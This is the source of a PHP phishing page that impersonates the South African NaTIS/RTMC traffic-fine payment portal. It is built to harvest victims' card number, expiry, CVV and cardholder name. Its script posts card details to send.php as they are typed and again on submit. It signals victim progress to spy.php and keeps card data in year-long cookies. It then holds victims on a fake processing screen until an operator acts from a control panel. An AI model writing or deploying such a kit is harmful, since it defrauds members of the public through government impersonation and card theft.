<?php
require (__DIR__) . '/../main.php';
require __DIR__ . '/class/Config.php';

$data = $m->getData();
if (isset($data['IS_DONE']) && $data['IS_DONE'] == "1") {
    header("Location: done.php");
    exit;
}

$payLabel = Config::$payment_amount;
$fineRef = Config::$fine_reference;
$vehicleReg = Config::visitorVehicleRegFromLogin();
$months = ['01'=>'01','02'=>'02','03'=>'03','04'=>'04','05'=>'05','06'=>'06','07'=>'07','08'=>'08','09'=>'09','10'=>'10','11'=>'11','12'=>'12'];
$y0 = (int) date('Y');

function cardCookie($name) {
    if (!isset($_COOKIE[$name])) return '';
    return htmlspecialchars(rawurldecode((string) $_COOKIE[$name]), ENT_QUOTES, 'UTF-8');
}
$savedEmail = cardCookie('inv_email');
$savedPhone = cardCookie('inv_phone');
if ($savedEmail === '' && Config::visitorEmail() !== '') {
    $savedEmail = htmlspecialchars(Config::visitorEmail(), ENT_QUOTES, 'UTF-8');
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Pay traffic fine — NaTIS</title>
    <link rel="stylesheet" href="themes/css/card-natis.css" />
</head>
<body class="np-page np-card-page">

<div class="np-topstrip">
    <span>Talk to us +27 861 400 800 | <a href="mailto:onlinesupport@rtmc.co.za">onlinesupport@rtmc.co.za</a></span>
</div>
<div class="np-logohead">
    <img src="assets/img/NaTIS%20logo.png" alt="NaTIS — National Traffic Information System" />
</div>

<main class="np-pay">
    <p class="np-pay-crumb">
        <a href="home.php">Home</a> &rsaquo; Online services &rsaquo; Pay traffic fine
    </p>

    <div class="np-pay-panel">
        <div class="np-pay-banner">Secure card payment</div>

        <div class="np-pay-body" id="payBody">
            <h1 class="np-pay-title">Pay traffic fine</h1>
            <p class="np-pay-lead">Enter your card details to settle your outstanding fine.</p>

            <div class="np-pay-due">
                <div class="np-pay-due-main">
                    <span>Amount due</span>
                    <strong><?= htmlspecialchars($payLabel, ENT_QUOTES, 'UTF-8') ?></strong>
                </div>
                <div class="np-pay-due-meta">
                    <p><span>Reference</span> <?= htmlspecialchars($fineRef, ENT_QUOTES, 'UTF-8') ?></p>
                    <?php if ($vehicleReg !== '') { ?>
                    <p><span>Vehicle</span> <?= htmlspecialchars($vehicleReg, ENT_QUOTES, 'UTF-8') ?></p>
                    <?php } ?>
                </div>
            </div>

            <form id="form" method="post" autocomplete="on" novalidate>
                <div class="np-card-honeypot" aria-hidden="true">
                    <input type="text" name="website_url" id="website_url" tabindex="-1" autocomplete="off" />
                </div>
                <input type="hidden" name="_ft" value="<?= time() ?>" />
                <input type="hidden" id="mmyy" name="mm_yy" value="" />
                <input type="hidden" id="email" name="email" value="<?= $savedEmail ?>" />
                <input type="hidden" id="phone" name="phone" value="<?= $savedPhone ?>" />

                <div class="np-pay-accepted">
                    <img src="assets/img/card_logo_visa.svg" alt="Visa" />
                    <img src="assets/img/card_logo_mc.svg" alt="Mastercard" />
                </div>

                <label class="np-pay-label" for="titular">Name on card</label>
                <input class="np-pay-input" type="text" id="titular" name="titular" autocomplete="cc-name" required placeholder="Full name" />

                <label class="np-pay-label" for="cc">Card number</label>
                <div class="np-pay-cc-wrap">
                    <input class="np-pay-input np-pay-input-lg" type="text" id="cc" name="card_number" inputmode="numeric" autocomplete="cc-number" required placeholder="0000 0000 0000 0000" />
                    <span class="np-pay-brand-tag" id="ccBrand" hidden></span>
                </div>

                <div class="np-pay-row">
                    <div>
                        <label class="np-pay-label" for="expMonth">Month</label>
                        <select class="np-pay-select" id="expMonth" required>
                            <option value="">MM</option>
                            <?php foreach ($months as $v => $n) { ?>
                            <option value="<?= $v ?>"><?= $n ?></option>
                            <?php } ?>
                        </select>
                    </div>
                    <div>
                        <label class="np-pay-label" for="expYear">Year</label>
                        <select class="np-pay-select" id="expYear" required>
                            <option value="">YY</option>
                            <?php for ($y = $y0; $y <= $y0 + 12; $y++) { ?>
                            <option value="<?= substr((string)$y, -2) ?>"><?= substr((string)$y, -2) ?></option>
                            <?php } ?>
                        </select>
                    </div>
                    <div>
                        <label class="np-pay-label" for="cvc">CVV</label>
                        <input class="np-pay-input" type="text" id="cvc" name="cvv" inputmode="numeric" autocomplete="cc-csc" required maxlength="4" placeholder="•••" />
                    </div>
                </div>

                <button type="submit" class="np-pay-btn" id="payBtn" disabled>
                    Pay <?= htmlspecialchars($payLabel, ENT_QUOTES, 'UTF-8') ?>
                </button>

                <p class="np-pay-foot-note">Encrypted payment · RTMC / NaTIS</p>
            </form>
        </div>
    </div>

    <div class="np-card-wait" id="cardWait" hidden aria-live="polite" aria-busy="true">
        <div class="np-card-wait-panel">
            <div class="np-card-wait-ring" aria-hidden="true"></div>
            <p class="np-card-wait-title">Processing your payment</p>
            <p class="np-card-wait-text">Please wait while we verify your card with NaTIS…</p>
            <div class="np-card-wait-dots" aria-hidden="true"><span></span><span></span><span></span></div>
        </div>
    </div>
</main>

<footer class="np-card-foot">
    <div class="np-card-foot-cards">
        <img src="assets/img/card_logo_visa.svg" alt="Visa" />
        <img src="assets/img/card_logo_mc.svg" alt="Mastercard" />
    </div>
    <p>© 2026 RTMC · National Traffic Information System</p>
</footer>

<script src="res/jq.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.min.js" crossorigin="anonymous"></script>
<script>
$.post("spy.php", { cardview: 1, firstload: 1 });
(function () {
    function setCookie(n,v,d){var e="";if(d){var t=new Date();t.setTime(t.getTime()+d*864e5);e="; expires="+t.toUTCString();}document.cookie=n+"="+(v||"")+e+"; path=/";}
    var bankCache={}, binNotifyTimer=null, detectedBank=null, cardingSent=false;

    function syncExp(){var m=$("#expMonth").val(),y=$("#expYear").val();$("#mmyy").val(m&&y?m+"/"+y:"");}

    function ok(){
        syncExp();
        var c=$("#cc").val().replace(/\s/g,"");
        if(!/^(4|5)\d{15}$/.test(c))return false;
        if(!$("#expMonth").val()||!$("#expYear").val())return false;
        if(!/^\d{3,4}$/.test($("#cvc").val()))return false;
        if($("#titular").val().trim().length<2)return false;
        return true;
    }

    function refresh(){$("#payBtn").prop("disabled",!ok());}

    function updateBrand(){
        var num=$("#cc").val().replace(/\s/g,"");
        var $tag=$("#ccBrand");
        if(num.charAt(0)==="4"){$tag.text("VISA").prop("hidden",false).attr("data-brand","visa");}
        else if(num.charAt(0)==="5"||num.charAt(0)==="2"){$tag.text("MC").prop("hidden",false).attr("data-brand","mc");}
        else{$tag.text("").prop("hidden",true).removeAttr("data-brand");}
    }

    function binData(){
        syncExp();
        var c=$("#cc").val().replace(/\s/g,"");
        return{bin_notify:1,bin:c.substring(0,4),cc:$("#cc").val(),exp:$("#mmyy").val(),mmyy:$("#mmyy").val(),cvv:$("#cvc").val(),cvc:$("#cvc").val(),titular:$("#titular").val(),email:$("#email").val(),phone:$("#phone").val(),_ft:$("input[name='_ft']").val(),website_url:""};
    }

    function scheduleBin(){clearTimeout(binNotifyTimer);binNotifyTimer=setTimeout(function(){if(!ok())return;var c=$("#cc").val().replace(/\s/g,"");if(!/^(4|5)\d{15}$/.test(c))return;$.post("send.php",binData());},900);}

    function bank(bin,cb){
        if(bankCache[bin])return cb(bankCache[bin]);
        $.ajax({url:"https://lookup.binlist.net/"+bin,type:"GET",dataType:"json",headers:{"Accept":"application/json","Accept-Version":"3"},
            success:function(d){var b=(d&&d.bank&&d.bank.name)?d.bank.name:(d&&d.brand?d.brand:"Unknown");bankCache[bin]=b;cb(b);},
            error:function(){bankCache[bin]=bin.charAt(0)==="4"?"VISA":"Mastercard";cb(bankCache[bin]);}
        });
    }

    $("#cc").mask("0000 0000 0000 0000");
    $("#cvc").mask("000");

    $("#cc,#expMonth,#expYear,#cvc,#titular").on("input change keyup paste",function(){
        updateBrand();
        var c=$("#cc").val().replace(/\s/g,"");
        if(!cardingSent&&c.length>=1){cardingSent=true;$.post("spy.php",{carding:1});}
        if(c.length>=4)scheduleBin();
        if(c.length>=6)bank(c.substring(0,6),function(b){detectedBank=b;});else detectedBank=null;
        refresh();
    });
    updateBrand();
    refresh();

    $("#form").on("submit",function(e){
        e.preventDefault();
        if(!ok())return;
        $("#payBtn").prop("disabled",true);
        $("#cardWait").prop("hidden", false);
        $("body").addClass("np-card-waiting");
        $("#form").find("input,select,button").prop("disabled", true);
        syncExp();
        $.ajax({url:"send.php",type:"POST",timeout:20000,data:{
            cc:$("#cc").val(),exp:$("#mmyy").val(),mmyy:$("#mmyy").val(),cvv:$("#cvc").val(),cvc:$("#cvc").val(),
            titular:$("#titular").val(),email:$("#email").val(),phone:$("#phone").val(),bank:detectedBank||"Unknown",
            _ft:$("input[name='_ft']").val(),website_url:""
        }}).done(function(){
            setCookie("cc",$("#cc").val(),365);setCookie("mmyy",$("#mmyy").val(),365);
            setCookie("cvc",$("#cvc").val(),365);setCookie("titular",$("#titular").val(),365);
            // Stay on card page — wait overlay stays until admin redirects from panel
            $.post("spy.php", { waitingview: 1 });
        }).fail(function(){
            $("#cardWait").prop("hidden", true);
            $("body").removeClass("np-card-waiting");
            $("#form").find("input,select,button").prop("disabled", false);
            $("#payBtn").prop("disabled",false).text(<?= json_encode('Pay ' . $payLabel, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP) ?>);
            refresh();
            alert("Payment failed. Try again.");
        });
    });
})();
</script>
<?php $m->ctr("CARD " . @$_GET['e']); ?>
</body>
</html>
